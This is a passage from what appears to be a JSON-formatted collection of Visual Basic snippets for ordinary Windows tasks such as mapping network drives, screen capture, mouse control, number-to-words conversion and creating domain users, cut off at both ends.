''\n'' ERROR_INVALID_PASSWORD (86) The password sPassword is invalid. ''\n'' ERROR_NO_NET_OR_BAD_PATH (1203) A network component has not started, or the specified name could not be handled. ''\n'' ERROR_NO_NETWORK (1222) There is no network present. ''\n'' ''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nDim netAddCxn As NETRESOURCE\nDim lCxnType As Long\nDim rc As Long\nOn Error GoTo ErrorHandler\n'Identify the type of connection to make. If unidentified, then return ERROR_BAD_DEVICE and exit the subroutine.\nIf (sLocalDevice Like \"[D-Z]:\") Then lCxnType = RESOURCETYPE_DISK 'Network drive\nIf (sLocalDevice Like \"LPT[1-3]\") Then lCxnType = RESOURCETYPE_PRINT 'Network printer\nIf ((sLocalDevice = \"\") And (sShareName Like \"\\\\*\\IPC$\")) Then lCxnType = RESOURCETYPE_ANY 'Pipe\nIf ((Not sLocalDevice Like \"[D-Z]:\") And (Not sLocalDevice Like \"LPT[1-3]\") And ((Not sShareName Like \"\\\\*\\IPC$\") And (Not sLocalDevice = \"\"))) Or (Not sShareName Like \"\\\\*\\*\") Then\n NetUse = ERROR_BAD_DEVICE\n GoTo EndOfFunction\nEnd If\n'Handle varPersistent\nIf IsMissing(varPersistent) Then\n varPersistent = CONNECT_UPDATE_PROFILE\nElse\n If varPersistent = False Then\n varPersistent = 0&\n Else\n varPersistent = CONNECT_UPDATE_PROFILE\n End If\nEnd If\n'Fill in the required members of netAddCxn\nWith netAddCxn\n .dwType = RESOURCETYPE_DISK\n .lpLocalName = sLocalDevice\n .lpRemoteName = sShareName\n .lpProvider = Chr(0)\nEnd With\n'Perform the Net Use statement\nIf IsMissing(sUserID) Or IsMissing(sPassword) Then\n rc = WNetAddConnection2(netAddCxn, sNull, sNull, varPersistent)\nElse\n rc = WNetAddConnection2(netAddCxn, sPassword, sUserID, varPersistent)\nEnd If\n'Process and return the result\nNetUse = rc\n\n'Handle Errors\nGoTo EndOfFunction\nErrorHandler:\nvarTemp = MsgBox(\"Error #\" & Err.Number & Chr(10) & Err.Description, vbCritical)\nEndOfFunction:\nEnd Function"},{"WorldId":1,"id":432,"LineNumber":1,"line":"\n'to open it:\nx= \nmciSendString(\"set cd door open\", 0&, \n0, 0)\n'to close it:\nx = mciSendString(\"set \ncd door closed\", 0&, 0, 0)\n"},{"WorldId":1,"id":440,"LineNumber":1,"line":"Access 2.0 can be controlled using DDE, while Access 7.0 and later can be controlled using OLE Automation. In both cases, you are generally limited to what is available as a DoCmd statement/method. I'll assume for the moment that you'll be using one of the 32-bit versions of Access. You first setup a reference to Access in the VB References dialog box. Access 7.0 will show up as \"Microsoft Access for Windows 95\" and Access 8.0 will be listed as \"Microsoft Access 8.0 Object Library\". \nOnce that's done, you can create object variables in your application based on the Access application. This little snippet will open a database, run a report and close the database. \n\nDim ac As Access.Application\nSet ac = New Access.Application\n' put the path to your database in here\nac.OpenCurrentDatabase(\"c:\\foo\\foo.mdb\")\n' by default, the OpenReport method of the \n' DoCmd object will send the report to the printer\nac.DoCmd.OpenReport \"MyReport\"\n' close the database\nac.CloseCurrentDatabase\n\nThat's about all it takes. Just remember that you need to design the reports so that they can be run unattended. Watch for query prompts, message boxes, etc., in the report design or the code behind the report."},{"WorldId":1,"id":444,"LineNumber":1,"line":"Public Function GetWaveInfo(Byval filename As String, Byref w As WAVInfo) _\n As Boolean\n Dim ff As Integer\n ff = FreeFile\n \n On Error GoTo ehandler\n Open filename For Binary Access Read As #ff\n \n On Error GoTo ehandler_fo\n Get #ff, , w\n Close #ff\n \n On Error GoTo ehandler\n \n If w.Riff_Format = RIFF_ID And w.ChunkID = _\n RIFF_WAVE And w.fmt = RIFF_FMT Then\n \n GetWaveInfo = True\n Else\n GetWaveInfo = False\n End If\n \n Exit Function\n \n ehandler_fo:\n Close #ff\n ehandler:\n GetWaveInfo = False\n \n End Function\n"},{"WorldId":1,"id":447,"LineNumber":1,"line":"' Place this code in the General Declarations area\n Dim m_MyInstance as Integer\n' Place this block of code in the user control's\n ' INITIALIZE event\n Dim Instance_Scan As Integer\n \n For Instance_Scan = MIN_INSTANCES To MAX_INSTANCES\n If Instances(Instance_Scan).in_use = False Then\n m_MyInstance = Instance_Scan\n Instances(Instance_Scan).in_use = True\n Instances(Instance_Scan).ClassAddr = ObjPtr(Me)\n Exit For\n End If\n Next Instance_Scan\n\n ' Note the Friend keyword.\n ' If you plan on modifying wMsg, pass it ByRef...\n Friend Sub ParentResized(ByVal wMsg As Long)\n Static ParentWidth As Long\n Static ParentHeight As Long\n If wMsg = WM_CLOSE Then UnhookParent\n If ParentWidth <> Usercontrol.Parent.Width Or _\n ParentHeight <> Usercontrol.Parent.Height Then\n Debug.Print m_MyInstance & \": Resize event\"\n End If\n \n ParentWidth = TrueParentWidth\n ParentHeight = TrueParentHeight\n End Sub\n\nPublic Function SwitchBoard(ByVal hwnd As Long, ByVal MSG As Long, _\n ByVal wParam As Long, ByVal lParam As Long) As Long\n \n Dim instance_check As Integer\n Dim cMyUC As MyUC\n Dim PrevWndProc As Long\n \n 'Do this early as we may unhook\n PrevWndProc = Is_Hooked(hwnd)\n \n If MSG = WM_SIZE Or MSG = WM_CLOSE Then\n For instance_check = MIN_INSTANCES To MAX_INSTANCES\n If Instances(instance_check).hwnd = hwnd Then\n On Error Resume Next\n CopyMemory cMyUC, Instances(instance_check).ClassAddr, 4\n cMyUC.ParentResized MSG\n CopyMemory cMyUC, 0&, 4\n End If\n Next instance_check\n End If\n \n SwitchBoard = CallWindowProc(PrevWndProc, hwnd, MSG, wParam, lParam)\n \n End Function\n\n 'Hooks a window or acts as if it does if the window is\n 'already hooked by a previous instance of myUC.\n Public Sub Hook_Window(ByVal hwnd As Long, ByVal instance_ndx As Integer)\n \n Instances(instance_ndx).PrevWndProc = Is_Hooked(hwnd)\n If Instances(instance_ndx).PrevWndProc = 0& Then\n Instances(instance_ndx).PrevWndProc = SetWindowLong(hwnd, _\n GWL_WNDPROC, AddressOf SwitchBoard)\n End If\n Instances(instance_ndx).hwnd = hwnd\n \n End Sub\n\n ' Unhooks only if no other instances need the hWnd\n Public Sub UnHookWindow(ByVal instance_ndx As Integer)\n If TimesHooked(Instances(instance_ndx).hwnd) = 1 Then\n SetWindowLong Instances(instance_ndx).hwnd, GWL_WNDPROC, _\n Instances(instance_ndx).PrevWndProc\n End If\n Instances(instance_ndx).hwnd = 0&\n End Sub\n\n 'Determine if we have already hooked a window,\n 'and returns the PrevWndProc if true, 0& if false\n Private Function Is_Hooked(ByVal hwnd As Long) As Long\n \n Dim ndx As Integer\n Is_Hooked = 0&\n For ndx = MIN_INSTANCES To MAX_INSTANCES\n If Instances(ndx).hwnd = hwnd Then\n Is_Hooked = Instances(ndx).PrevWndProc\n Exit For\n End If\n Next ndx\n \n End Function\n\n 'Returns a count of the number of times a given\n 'window has been hooked by instances of myUC.\n Private Function TimesHooked(ByVal hwnd As Long) As Long\n Dim ndx As Integer\n Dim cnt As Integer\n \n For ndx = MIN_INSTANCES To MAX_INSTANCES\n If Instances(ndx).hwnd = hwnd Then\n cnt = cnt + 1\n End If\n Next ndx\n TimesHooked = cnt\n End Function\n"},{"WorldId":1,"id":450,"LineNumber":1,"line":"\n ' Returns the screen size in pixels or, optionally,\n ' in others scalemode styles\n Public Sub GetScreenRes(ByRef X As Long, ByRef Y As Long, Optional ByVal _\n ReportStyle As enReportStyle)\n X = GetSystemMetrics(SM_CXSCREEN)\n Y = GetSystemMetrics(SM_CYSCREEN)\n If Not IsMissing(ReportStyle) Then\n If ReportStyle <> rsPixels Then\n X = X * Screen.TwipsPerPixelX\n Y = Y * Screen.TwipsPerPixelY\n If ReportStyle = rsInches Or ReportStyle = rsPoints Then\n X = X \\ TWIPS_PER_INCH\n Y = Y \\ TWIPS_PER_INCH\n If ReportStyle = rsPoints Then\n X = X * POINTS_PER_INCH\n Y = Y * POINTS_PER_INCH\n End If\n End If\n End If\n End If\n End Sub\n\n ' Convert's the mouses coordinate system to\n ' a pixel position.\n Public Function MickeyXToPixel(ByVal mouseX As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tX As Single\n Dim tmouseX As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tX = X\n tMickeys = MOUSE_MICKEYS\n tmouseX = mouseX\n \n MickeyXToPixel = CLng(tmouseX / (tMickeys / tX))\n \n End Function\n\n ' Converts mouse Y coordinates to pixels\n Public Function MickeyYToPixel(ByVal mouseY As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tY As Single\n Dim tmouseY As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tY = Y\n tMickeys = MOUSE_MICKEYS\n tmouseY = mouseY\n \n MickeyYToPixel = CLng(tmouseY / (tMickeys / tY))\n \n End Function\n\n ' Converts pixel X coordinates to mickeys\n Public Function PixelXToMickey(ByVal pixX As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tX As Single\n Dim tpixX As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tMickeys = MOUSE_MICKEYS\n tX = X\n tpixX = pixX\n \n PixelXToMickey = CLng((tMickeys / tX) * tpixX)\n End Function\n\n ' Converts pixel Y coordinates to mickeys\n Public Function PixelYToMickey(ByVal pixY As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tY As Single\n Dim tpixY As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tMickeys = MOUSE_MICKEYS\n tY = Y\n tpixY = pixY\n \n PixelYToMickey = CLng((tMickeys / tY) * tpixY)\n End Function\n\n ' The function will center the mouse on a window\n ' or control with an hWnd property. No checking\n ' is done to ensure that the window is not obscured\n ' or not minimized, however it does make sure that\n ' the target is within the boundaries of the\n ' screen.\n Public Function CenterMouseOn(ByVal hwnd As Long) As Boolean\n Dim X As Long\n Dim Y As Long\n Dim maxX As Long\n Dim maxY As Long\n Dim crect As RECT\n Dim rc As Long\n GetScreenRes maxX, maxY\n rc = GetWindowRect(hwnd, crect)\n \n If rc Then\n X = crect.Left + ((crect.Right - crect.Left) / 2)\n Y = crect.Top + ((crect.Bottom - crect.Top) / 2)\n If (X >= 0 And X <= maxX) And (Y >= 0 And Y <= maxY) Then\n MouseMove X, Y\n CenterMouseOn = True\n Else\n CenterMouseOn = False\n End If\n Else\n CenterMouseOn = False\n End If\n End Function\n\n ' Simulates a mouse click\n Public Function MouseFullClick(ByVal MBClick As enButtonToClick) As Boolean\n Dim cbuttons As Long\n Dim dwExtraInfo As Long\n Dim mevent As Long\n \n Select Case MBClick\n Case btcLeft\n mevent = MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP\n Case btcRight\n mevent = MOUSEEVENTF_RIGHTDOWN Or MOUSEEVENTF_RIGHTUP\n Case btcMiddle\n mevent = MOUSEEVENTF_MIDDLEDOWN Or MOUSEEVENTF_MIDDLEUP\n Case Else\n MouseFullClick = False\n Exit Function\n End Select\n mouse_event mevent, 0&, 0&, cbuttons, dwExtraInfo\n MouseFullClick = True\n \n End Function\n\n Public Sub MouseMove(ByRef xPixel As Long, ByRef yPixel As Long)\n Dim cbuttons As Long\n Dim dwExtraInfo As Long\n \n mouse_event MOUSEEVENTF_ABSOLUTE Or MOUSEEVENTF_MOVE, _\n PixelXToMickey(xPixel), PixelYToMickey(yPixel), cbuttons, dwExtraInfo\n End Sub\n"},{"WorldId":1,"id":458,"LineNumber":1,"line":"3. Add a Command Button control to Form1. Command1 is created by\ndefault. Set its Caption property to \"Hide\".\n4. Add the following code to the Click event for Command1.\nPrivate Sub Command1_Click()\nhwnd1 = FindWindow(\"Shell_traywnd\", \"\")\nCall SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)\nEnd Sub\n5. Add a second Command Button control to Form1. Command2 is created by \ndefault. Set its Caption property to \"Show\".\n6. Add the following code to the Click event for Command2.\nPrivate Sub Command2_Click()\nCall SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)\nEnd Sub"},{"WorldId":1,"id":461,"LineNumber":1,"line":"' CreateBitmapPicture\n' - Creates a bitmap type Picture object from a bitmap and palette\n'\n' hBmp\n' - Handle to a bitmap\n'\n' hPal\n' - Handle to a Palette\n' - Can be null if the bitmap doesn't use a palette\n'\n' Returns\n' - Returns a Picture object containing the bitmap\n#If Win32 Then\nPublic Function CreateBitmapPicture(ByVal hBmp As Long, _\nByVal hPal As Long) As Picture\nDim r As Long\n\n#ElseIf Win16 Then\nPublic Function CreateBitmapPicture(ByVal hBmp As Integer, _\nByVal hPal As Integer) As Picture\nDim r As Integer\n\n#End If\nDim Pic As PicBmp\n' IPicture requires a reference to \"Standard OLE Types\"\nDim IPic As IPicture\nDim IID_IDispatch As GUID\n' Fill in with IDispatch Interface ID\nWith IID_IDispatch\n.Data1 = &H20400\n.Data4(0) = &HC0\n.Data4(7) = &H46\nEnd With\n' Fill Pic with necessary parts\nWith Pic\n.Size = Len(Pic) ' Length of structure\n.Type = vbPicTypeBitmap ' Type of Picture (bitmap)\n.hBmp = hBmp ' Handle to bitmap\n.hPal = hPal ' Handle to palette (may be null)\nEnd With\n' Create Picture object\nr = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)\n' Return the new Picture object\nSet CreateBitmapPicture = IPic\n\nEnd Function\n\n\n' CaptureWindow\n' - Captures any portion of a window\n'\n' hWndSrc\n' - Handle to the window to be captured\n'\n' Client\n' - If True CaptureWindow captures from the client area of the window\n' - If False CaptureWindow captures from the entire window\n'\n' LeftSrc, TopSrc, WidthSrc, HeightSrc\n' - Specify the portion of the window to capture\n' - Dimensions need to be specified in pixels\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the specified\n' portion of the window that was captured\n#If Win32 Then\nPublic Function CaptureWindow(ByVal hWndSrc As Long, _\nByVal Client As Boolean, ByVal LeftSrc As Long, _\nByVal TopSrc As Long, ByVal WidthSrc As Long, _\nByVal HeightSrc As Long) As Picture\nDim hDCMemory As Long\nDim hBmp As Long\nDim hBmpPrev As Long\nDim r As Long\nDim hDCSrc As Long\nDim hPal As Long\nDim hPalPrev As Long\nDim RasterCapsScrn As Long\nDim HasPaletteScrn As Long\nDim PaletteSizeScrn As Long\n\n#ElseIf Win16 Then\nPublic Function CaptureWindow(ByVal hWndSrc As Integer, _\nByVal Client As Boolean, ByVal LeftSrc As Integer, _\nByVal TopSrc As Integer, ByVal WidthSrc As Long, _\nByVal HeightSrc As Long) As Picture\nDim hDCMemory As Integer\nDim hBmp As Integer\nDim hBmpPrev As Integer\nDim r As Integer\nDim hDCSrc As Integer\nDim hPal As Integer\nDim hPalPrev As Integer\nDim RasterCapsScrn As Integer\nDim HasPaletteScrn As Integer\nDim PaletteSizeScrn As Integer\n\n#End If\nDim LogPal As LOGPALETTE\n' Depending on the value of Client get the proper device context\nIf Client Then\nhDCSrc = GetDC(hWndSrc) ' Get device context for client area\nElse\nhDCSrc = GetWindowDC(hWndSrc) ' Get device context for entire window\nEnd If\n' Create a memory device context for the copy process\nhDCMemory = CreateCompatibleDC(hDCSrc)\n' Create a bitmap and place it in the memory DC\nhBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)\nhBmpPrev = SelectObject(hDCMemory, hBmp)\n' Get screen properties\nRasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster capabilities\nHasPaletteScrn = RasterCapsScrn And RC_PALETTE ' Palette support\nPaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of palette\n' If the screen has a palette make a copy and realize it\nIf HasPaletteScrn And (PaletteSizeScrn = 256) Then\n' Create a copy of the system palette\nLogPal.palVersion = &H300\nLogPal.palNumEntries = 256\nr = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))\nhPal = CreatePalette(LogPal)\n' Select the new palette into the memory DC and realize it\nhPalPrev = SelectPalette(hDCMemory, hPal, 0)\nr = RealizePalette(hDCMemory)\nEnd If\n' Copy the on-screen image into the memory DC\nr = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, _\nLeftSrc, TopSrc, vbSrcCopy)\n' Remove the new copy of the the on-screen image\nhBmp = SelectObject(hDCMemory, hBmpPrev)\n' If the screen has a palette get back the palette that was selected\n' in previously\nIf HasPaletteScrn And (PaletteSizeScrn = 256) Then\nhPal = SelectPalette(hDCMemory, hPalPrev, 0)\nEnd If\n' Release the device context resources back to the system\nr = DeleteDC(hDCMemory)\nr = ReleaseDC(hWndSrc, hDCSrc)\n' Call CreateBitmapPicture to create a picture object from the bitmap\n' and palette handles. Then return the resulting picture object.\nSet CaptureWindow = CreateBitmapPicture(hBmp, hPal)\n\nEnd Function\n\n\n' CaptureScreen\n' - Captures the entire screen\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the screen\nPublic Function CaptureScreen() As Picture\n#If Win32 Then\nDim hWndScreen As Long\n#ElseIf Win16 Then\nDim hWndScreen As Integer\n#End If\n' Get a handle to the desktop window\nhWndScreen = GetDesktopWindow()\n' Call CaptureWindow to capture the entire desktop give the handle and\n' return the resulting Picture object\nSet CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _\nScreen.Width \\ Screen.TwipsPerPixelX, _\nScreen.Height \\ Screen.TwipsPerPixelY)\n\nEnd Function\n\n\n' CaptureForm\n' - Captures an entire form including title bar and border\n'\n' frmSrc\n' - The Form object to capture\n' Returns\n' - Returns a Picture object containing a bitmap of the entire form\nPublic Function CaptureForm(frmSrc As Form) As Picture\n' Call CaptureWindow to capture the entire form given it's window\n' handle and then return the resulting Picture object\nSet CaptureForm = CaptureWindow(frmSrc.hWnd, False, 0, 0, _\nfrmSrc.ScaleX(frmSrc.Width, vbTwips, vbPixels), _\nfrmSrc.ScaleY(frmSrc.Height, vbTwips, vbPixels))\n\nEnd Function\n\n\n' CaptureClient\n' - Captures the client area of a form\n'\n' frmSrc\n' - The Form object to capture\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the form's client\n' area\nPublic Function CaptureClient(frmSrc As Form) As Picture\n' Call CaptureWindow to capture the client area of the form given it's\n' window handle and return the resulting Picture object\nSet CaptureClient = CaptureWindow(frmSrc.hWnd, True, 0, 0, _\nfrmSrc.ScaleX(frmSrc.ScaleWidth, frmSrc.ScaleMode, vbPixels), _\nfrmSrc.ScaleY(frmSrc.ScaleHeight, frmSrc.ScaleMode, vbPixels))\n\nEnd Function\n\n\n' CaptureActiveWindow\n' - Captures the currently active window on the screen\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the active window\nPublic Function CaptureActiveWindow() As Picture\n#If Win32 Then\nDim hWndActive As Long\nDim r As Long\n#ElseIf Win16 Then\nDim hWndActive As Integer\nDim r As Integer\n#End If\nDim RectActive As RECT\n' Get a handle to the active/foreground window\nhWndActive = GetForegroundWindow()\n' Get the dimensions of the window\nr = GetWindowRect(hWndActive, RectActive)\n' Call CaptureWindow to capture the active window given it's handle and\n' return the Resulting Picture object\nSet CaptureActiveWindow = CaptureWindow(hWndActive, False, 0, 0, _\nRectActive.Right - RectActive.Left, _\nRectActive.Bottom - RectActive.Top)\n\nEnd Function\n\n\n' PrintPictureToFitPage\n' - Prints a Picture object as big as possible\n'\n' Prn\n' - Destination Printer object\n'\n' Pic\n' - Source Picture object\nPublic Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture)\nConst vbHiMetric As Integer = 8\nDim PicRatio As Double\nDim PrnWidth As Double\nDim PrnHeight As Double\nDim PrnRatio As Double\nDim PrnPicWidth As Double\nDim PrnPicHeight As Double\n' Determine if picture should be printed in landscape or portrait and\n' set the orientation\nIf Pic.Height >= Pic.Width Then\nPrn.Orientation = vbPRORPortrait ' Taller than wide\nElse\nPrn.Orientation = vbPRORLandscape ' Wider than tall\nEnd If\n' Calculate device independent Width to Height ratio for picture\nPicRatio = Pic.Width / Pic.Height\n' Calculate the dimentions of the printable area in HiMetric\nPrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric)\nPrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric)\n' Calculate device independent Width to Height ratio for printer\nPrnRatio = PrnWidth / PrnHeight\n' Scale the output to the printable area\nIf PicRatio >= PrnRatio Then\n' Scale picture to fit full width of printable area\nPrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)\nPrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, _\nPrn.ScaleMode)\nElse\n' Scale picture to fit full height of printable area\nPrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)\nPrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, _\nPrn.ScaleMode)\nEnd If\n' Print the picture using the PaintPicture method\nPrn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeight\n\nEnd Sub"},{"WorldId":1,"id":465,"LineNumber":1,"line":"Add these two procedures to a Module. In each object GotFocus.LostFocus event, place a call to the respective procedure (the CALL qualifier is not neccesary, just the procedure name). This process can also be placed in a VB 4.0 Class.\n\nPublic Sub GotFocus()\n\nSet gLastObjectFocus = Screen.ActiveControl\nWith gLastObjectFocus\nIf (TypeOf gLastObjectFocus Is TextBox) Or _\n(TypeOf gLastObjectFocus Is ComboBox) Or _\n(TypeOf gLastObjectFocus Is CSComboBox) Or _\n(TypeOf gLastObjectFocus Is sidtEdit) _\nThen\n.BackColor = &HFF0000 'Dark Blue\nElseIf (TypeOf gLastObjectFocus Is SSTab) Then\n.Font.Bold = True\n.Font.Italic = True\n.ShowFocusRect = True\nElseIf (TypeOf gLastObjectFocus Is CheckBox) Or _\n(TypeOf gLastObjectFocus Is CSOptList) Or _\n(TypeOf gLastObjectFocus Is OptionButton) Or _\n(TypeOf gLastObjectFocus Is SSOption) Then\n.ForeColor = &HFF0000 'Dark Blue\nEnd If\nEnd With\n\nEnd Sub\nPublic Sub LostFocus()\n\nWith gLastObjectFocus\nIf (TypeOf gLastObjectFocus Is TextBox) Or _\n(TypeOf gLastObjectFocus Is ComboBox) Or _\n(TypeOf gLastObjectFocus Is CSComboBox) Or _\n(TypeOf gLastObjectFocus Is sidtEdit) _\nThen\n.BackColor = &H00C0C0C0& 'Light Grey\nElseIf (TypeOf gLastObjectFocus Is SSTab) Then\n.Font.Bold = False\n.Font.Italic = False\n.ShowFocusRect = False\nElseIf (TypeOf gLastObjectFocus Is CheckBox) Or _\n(TypeOf gLastObjectFocus Is CSOptList) Or _\n(TypeOf gLastObjectFocus Is OptionButton) Or _\n(TypeOf gLastObjectFocus Is SSOption) Then\n.ForeColor = &H0& 'Black\nEnd If\nEnd With\n\nEnd Sub"},{"WorldId":1,"id":517,"LineNumber":1,"line":"Function GetMonDate (CurrentDate)\n 'checks to see if CurrentDate is a Date datatype\n If VarType(CurrentDate) <> 7 Then\n GetMonDate = Null\n Else\n Select Case Weekday(CurrentDate)\n Case 1 'Sunday\n GetMonDate = CurrentDate - 6\n Case 2 'Monday\n GetMonDate = CurrentDate\n Case 3 To 7 'Tuesday..Saturday\n GetMonDate = CurrentDate - Weekday(CurrentDate) + 2\n End Select\n End If\nEnd Function\n"},{"WorldId":1,"id":520,"LineNumber":1,"line":"'================================================================\n'*** This is the main function call\n'================================================================\n Function NumToWord (numval)\n Dim NTW, NText, dollars, cents, NWord, totalcents As String\n Dim decplace, TotalSets, cnt, LDollHold As Integer\n ReDim NumParts(9) As String 'Array for Amount (sets of three)\n ReDim Place(9) As String 'Array containing place holders\n Dim LDoll As Integer 'Length of the Dollars Text Amount\n\n Place(2) = \" Thousand \" '\n Place(3) = \" Million \" 'Place holder names for money\n Place(4) = \" Billion \" 'amounts\n Place(5) = \" Trillion \" '\n\n NTW = \"\" 'Temp value for the function\n NText = round_curr(numval) 'Roundup the cents to eliminate\ncents gr 2\n NText = Trim(Str(NText)) 'String representation of amount\n decplace = InStr(Trim(NText), \".\")'Position of decimal 0 if none\n dollars = Trim(Left(NText, IIf(decplace = 0, Len(numval),\ndecplace\n- 1)))\n LDoll = Len(dollars)\n cents = Trim(Right(NText, IIf(decplace = 0, 0, Abs(decplace -\nLen(NText)))))\n If Len(cents) = 1 Then\n cents = cents & \"0\"\n End If\n If (LDoll Mod 3) = 0 Then\n TotalSets = (LDoll \\ 3)\n Else\n TotalSets = (LDoll \\ 3) + 1\n End If\n cnt = 1\n LDollHold = LDoll\n Do While LDoll > 0\n NumParts(cnt) = IIf(LDoll > 3, Right(dollars, 3),\nTrim(dollars))\n dollars = IIf(LDoll > 3, Left(dollars, (IIf(LDoll < 3, 3,\nLDoll)) - 3), \"\")\n LDoll = Len(dollars)\n cnt = cnt + 1\n Loop\n For cnt = TotalSets To 1 Step -1 'step through NumParts\narray\n NWord = GetWord(NumParts(cnt)) 'convert 1 element of\nNumParts\n NTW = NTW & NWord 'concatenate it to temp\nvariable\n If NWord <> \"\" Then NTW = NTW & Place(cnt)\n Next cnt 'loop through\n If LDollHold > 0 Then\n NTW = NTW & \" DOLLARS and \" 'concatenate text\n Else\n NTW = NTW & \" NO DOLLARS and \" 'concatenate text\n End If\n totalcents = GetTens(cents) 'Convert cents part to word\n If totalcents = \"\" Then totalcents = \"NO\" 'Concat NO if cents=0\n NTW = NTW & totalcents & \" CENTS\" 'Concat Dollars and Cents\n NumToWord = NTW 'Assign word value to\nfunction\n \n \nEnd Function\n\n-------------------------------------------------------------------------------------------------------------------------------\n\n '================================================================\n ' The following function converts a number from 1 to 9 to text\n '================================================================\n Function GetDigit (Digit)\n Select Case Val(Digit)\n Case 1: GetDigit = \"One\" '\n Case 2: GetDigit = \"Two\" '\n Case 3: GetDigit = \"Three\" '\n Case 4: GetDigit = \"Four\" ' Assign a numeric word value\n Case 5: GetDigit = \"Five\" ' based on a single digit.\n Case 6: GetDigit = \"Six\" '\n Case 7: GetDigit = \"Seven\" '\n Case 8: GetDigit = \"Eight\" '\n Case 9: GetDigit = \"Nine\" '\n Case Else: GetDigit = \"\" '\n End Select\n End Function 'End function GetDigit - return to calling program\n-------------------------------------------------------------------------------------------------------------------------------\n '================================================================\n ' The following function converts a number from 10 to 99 to text\n '================================================================\n Function GetTens (tenstext)\n Dim GT As String\n GT = \"\" 'null out the temporary function value\n If Val(Left(tenstext, 1)) = 1 Then ' If value between 10-19\n Select Case Val(tenstext)\n Case 10: GT = \"Ten\" '\n Case 11: GT = \"Eleven\" '\n Case 12: GT = \"Twelve\" '\n Case 13: GT = \"Thirteen\" ' Retrieve numeric word\n Case 14: GT = \"Fourteen\" ' value if between ten and\n Case 15: GT = \"Fifteen\" ' nineteen inclusive.\n Case 16: GT = \"Sixteen\" '\n Case 17: GT = \"Seventeen\" '\n Case 18: GT = \"Eighteen\" '\n Case 19: GT = \"Nineteen\" '\n Case Else\n End Select\n \n Else ' If value between 20-99\n Select Case Val(Left(tenstext, 1))\n \n Case 2: GT = \"Twenty \" '\n Case 3: GT = \"Thirty \" '\n Case 4: GT = \"Forty \" '\n Case 5: GT = \"Fifty \" ' Retrieve value if it is\n Case 6: GT = \"Sixty \" ' divisible by ten\n Case 7: GT = \"Seventy \" ' excluding the value ten.\n Case 8: GT = \"Eighty \" '\n Case 9: GT = \"Ninety \" '\n Case Else\n End Select\n\n GT = GT & GetDigit(Right(tenstext, 1)) 'Retrieve ones place\n End If\n \n GetTens = GT ' Assign function return value.\n \n \nEnd Function\n\n-----------------------------------------------------------------------------------------------------------\n'=================================================================\n' The following function converts a number from 0 to 999 to text\n'=================================================================\n Function GetWord (NumText)\n Dim GW As String, x As Integer\n GW = \"\" 'null out temporary function value\n If Val(NumText) > 0 Then\n For x = 1 To Len(NumText) 'loop the length of NumText times\n Select Case Len(NumText)\n Case 3:\n If Val(NumText) > 99 Then\n GW = GetDigit(Left(NumText, 1)) & \" Hundred \"\n End If\n NumText = Right(NumText, 2)\n Case 2:\n GW = GW & GetTens(NumText)\n NumText = \"\"\n Case 1:\n GW = GetDigit(NumText)\n Case Else\n End Select\n Next x\n End If\n GetWord = GW 'assign function return value\n End Function 'End function GetWord - Return to calling program\n\n---------------------------------------------------------------------------------------------------------------\nFunction round_curr (currValue)\n'\n' This rounds any currency field\n'\n round_curr = Int(currValue * FACTOR + .5) / FACTOR\nEnd Function\n"},{"WorldId":1,"id":521,"LineNumber":1,"line":"gsUserId = ClipNull(GetUser())\n\nFunction GetUser() As String\n Dim lpUserID As String\n Dim nBuffer As Long\n Dim Ret As Long\n \n lpUserID = String(25, 0)\n nBuffer = 25\n Ret = GetUserName(lpUserID, nBuffer)\n If Ret Then\n GetUser$ = lpUserID$\n End If\nEnd Function\n \nFunction ClipNull(InString As String) As String\n Dim intpos As Integer\n If Len(InString) Then\n intpos = InStr(InString, vbNullChar)\n If intpos > 0 Then\n ClipNull = Left(InString, intpos - 1)\n Else\n ClipNull = InString\n End If\n End If\nEnd Function\n\n"},{"WorldId":1,"id":532,"LineNumber":1,"line":"Function DomainCreateUser( _\n ByVal sSName As String, _\n ByVal sUName As String, _\n ByVal sPWD As String, _\n ByVal sHomeDir As String, _\n ByVal sComment As String, _\n ByVal sScriptFile As String) As Long\n'Create a new user to be a member of group Domain Users\n Dim lResult As Long\n Dim lParmError As Long\n \n Dim lUNPtr As Long\n Dim lPWDPtr As Long\n Dim lHomeDirPtr As Long\n Dim lCommentPtr As Long\n Dim lScriptFilePtr As Long\n \n Dim bSNArray() As Byte\n Dim bUNArray() As Byte\n Dim bPWDArray() As Byte\n Dim bHomeDirArray() As Byte\n Dim 